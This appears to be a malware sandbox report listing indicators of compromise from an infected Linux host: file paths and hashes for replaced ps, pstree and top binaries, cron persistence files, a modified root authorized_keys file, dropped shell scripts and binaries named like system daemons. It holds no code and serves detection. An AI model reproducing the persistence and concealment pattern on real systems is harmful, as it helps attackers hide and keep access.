- SHA512 bd109ac68d85a8451187e31b8ec62dbc062d3fa2aab866928b094b64318912c7056f42ca363b01af74b1898f84d2675f3099d1aab72140b6ba932a16257aa5eb
- MD5 SHA1 SHA512
- Path /bin/ps
- Size 52B
- SHA256 db7a08cba996d62b1fe07727ba58b98d7b59778bd7227c9b7fd69bc587d2557f
- MD5 f668da8f0525cbe5a545869cb5776913
- SHA1 996e6afed4498ff8a92a64330de018141af102c9
- SHA512 f918ba58e9af19704344c92ec356d215080f47d66b175f3d712d31e54e1b9e4e46daeb0556d82b0722ae01b8cfe456f08021e73b053ced6326735e1d0b73c700
- TLSH T16890028D05189D111A545D12A371AED5818458204B4397415478028E4191192316005E
- MD5 SHA1 SHA512 TLSH
- Path /bin/pstree
- Size 56B
- SHA256 b6eec955fd5b0e9ddf43ef55b7fe74075cc1a935ab896d5cd0a55429ef0d6d25
- MD5 896f6d504f181bd883a90b84069bcf70
- SHA1 86fd682d1932d9e14461796e5f0fe776b8ce9d5c
- SHA512 1f705ceead76868a79abb7ea42efad35e37b95421bfc81ce4540e4beeb7cbc0ccadfaae85794b6945c93304da9948d9d63504f9377ca3e92b874cc3f691d3c1a
- TLSH T1B090028D452CAD101A544D12A3712E95C08428348B4397415468028B4152192313009E
- MD5 SHA1 SHA512 TLSH
- Path /bin/top
- Size 53B
- SHA256 561941bdd6305a389e688a1214acd9163478301738158f13349ea403dfae300c
- MD5 6956a4d6a2444151c11a73517215cb34
- SHA1 b279ad496f640f44418aa7e5e27a4d458bddb7fb
- SHA512 ee1a27243159cf9aa99ed0ff79ae1f6d66c698f668e0c233544f1a79aab5bb8ca6edb051d907aef8b50ff85f39aa41b21e951476c3a53b6a85a7a06adc28ed8d
- TLSH T11990028D05189D101A548A11A3716E99908514248987AB815069018A4141193356015E
- MD5 SHA1 SHA512 TLSH
- Path /etc/cron.d/zzh
- Size 53B
- SHA256 ff1d557b85a902fbe4d2d0b0f3e79307f1f7e6dc36c537a824e920c5e8ece2de
- MD5 3a615a3d1952b1e2c0cb584bd253f7f9
- SHA1 79465a5e611f19f140f169ac5bc3a9ab382696ef
- SHA512 8819cd4ef33fe59b8618ac7a2f116169b2effeb87f2353b674ef08c8297dbbda75112c5dd882c60b05c9cedeab0aa3dd79e06923b2a2db0cad8a3ec2b6c5532e
- TLSH T1889002B6541558466804AD289604406E084355A111953A426DCD4490461C30F0517661
- MD5 SHA1 SHA512 TLSH
- Path /etc/crontab
- Size 50B
- SHA256 e15357c9d6df46a6b43036e8f646311f88019e587b8d55a8aecfa438cd971545
- MD5 b2ecca8d419b5c3fa2ee7621efa75eb7
- SHA1 3adc58bd314dea94eebfd1582ffc8bbbb5cfb34e
- SHA512 c6a7d05b7f615de3946055be8a4995c0fb8c670fe53c8a8dcba98f32c2ec4cb92a93524aebaca97c9b6e8696b71bdc2114d6ec303bff4ec288745bae15522e69
- TLSH T19B9002B6541548466804EC189605605E0843956100553A426ECD4490461830E0116621
- MD5 SHA1 SHA512 TLSH
- Path /etc/zzh
- Size 162B
- SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
- MD5 1b7c22a214949975556626d7217e9a39
- SHA1 d01c97e2944166ed23e47e4a62ff471ab8fa031f
- SHA512 ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5
- TLSH T159C08C6E2613BD4CC6A3217522C3B490C09AA3A7A4EA46214840805331CB29A8AC7396
- MD5 SHA1 SHA512 TLSH
- Path /etc/zzhs
- Size 9B
- SHA256 7e3735835710cbbb54a0bee4a323c83c54cb1f4f60463b9cf88006946fe2b9a5
- MD5 970d39f8690eff0fe573e7bcf51bda9b
- SHA1 46f8f835d3d3d41f063d0e8346260bb622b01a3f
- SHA512 24952be3e8e47ffb4ee83d55f513edf041f6c4e420e2f52bdbdf0daee4c5735ad3ee5ed863f95ffa931a70d551590a7fe6ae67dc22f32060793e2525e4b56cd0
- MD5 SHA1 SHA512
- Path /etc/zzhs
- Size 2B
- SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
- MD5 b026324c6904b2a9cb4b88d6d61c81d1
- SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
- SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 1B
- SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
- MD5 68b329da9893e34099c7d8ad5cb9c940
- SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
- SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
- MD5 SHA1 SHA512
- Path /root/.ssh/authorized_keys
- Size 557B
- SHA256 cfc3a74939edac785d66664757b3c877a7e5f4fae29b3a5bdf8b55e79573dfb5
- MD5 12bf68ad9999dcbc8bd1d9a728d600aa
- SHA1 7f302d2df5e075f879586cb0ab1dcc0b0870cc98
- SHA512 ef6a8c50fd411622eefae30bfcc962368f355ec897b0136b2290784344ce735c3b3d51feda679e3c42ab524197d6515f1f8699e17598171a1b888b0fbe5229e7
- TLSH T1D7F0412660AB00C72912188CD3308E3638CE05F2B4E4050A5414A142D2B549AC6E62FC
- MD5 SHA1 SHA512 TLSH
- Path /tmp/sh-thd.NBMBOK
- Size 827KB
- SHA256 2d9d9609b98fe1ea8fd588a7b264fa84bf4160c35d192a6571591e69c6e4a60c
- MD5 e4aa53f6cfe2dae8bce2aea3840f32f3
- SHA1 b8254c8a68f2311b21382d1546a663a821b09415
- SHA512 58c556b82e9b11e91783d54db0a49f3c7e3ff274a6ff68fa7605831bf874cc8860a994ed77c04aac6e7610dd6e49b8a603d80cfa645290432cbb9be99c4a400b
- SSDEEP 24576:UMOPr9a/8xRaPRwqNwybCRD04ghANIsdJpci7Oyr:8e8xyxNwybCacd7cWOyr
- TLSH T14D052308B51B8C3CED0E3C8CE49AEFDC192520A28B55D1871A6534AE7E747DC847E79E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/tmp.fe2gafxv1L/embedded.sh
- Size 46KB
- SHA256 e81282e300ea08bcbc690ec1b403295f570a2a07888e0025c1b937f1d0c4eb1a
- MD5 0cec4bedba50d029b5f3f8923123b2da
- SHA1 64e902ab0ff54809d89d685ac195ce0b7cdcf397
- SHA512 f47841afd973ed61a1dfca1d5a4eb1b3aae02ab6dc5da51751764ed76c2dc7af17430672c1f9b3bb67edc42e8fc110f50785808935b59f08fbb1159efa9b73b7
- SSDEEP 768:xxlT2wDuWvWi7vFNcuFkc2zq0x3UKnicZuiR/amT8p:G6F+Lc2/FicfSmT8p
- TLSH T17123AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /usr/bin/irqbalanced
- Size 2B
- SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
- MD5 6d7fce9fee471194aa8b5b6e47267f03
- SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
- SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
- MD5 SHA1 SHA512
- Path /usr/bin/kswaped
- Size 2B
- SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
- MD5 26ab0db90d72e28ad0ba1e22ee510510
- SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
- SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
- MD5 SHA1 SHA512
- Path /usr/bin/pamdicks
- Size 2B
- SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
- MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
- SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
- SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
- MD5 SHA1 SHA512
- Path /usr/bin/rctlcli
- Size 2B
- SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
- MD5 48a24b70a0b376535542b996af517398
- SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
- SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
- MD5 SHA1 SHA512
- Path /usr/bin/systemd-network
- Size 2B
- SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
- MD5 1dcca23355272056f04fe8bf20edfce0
- SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
- SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
- MD5 SHA1 SHA512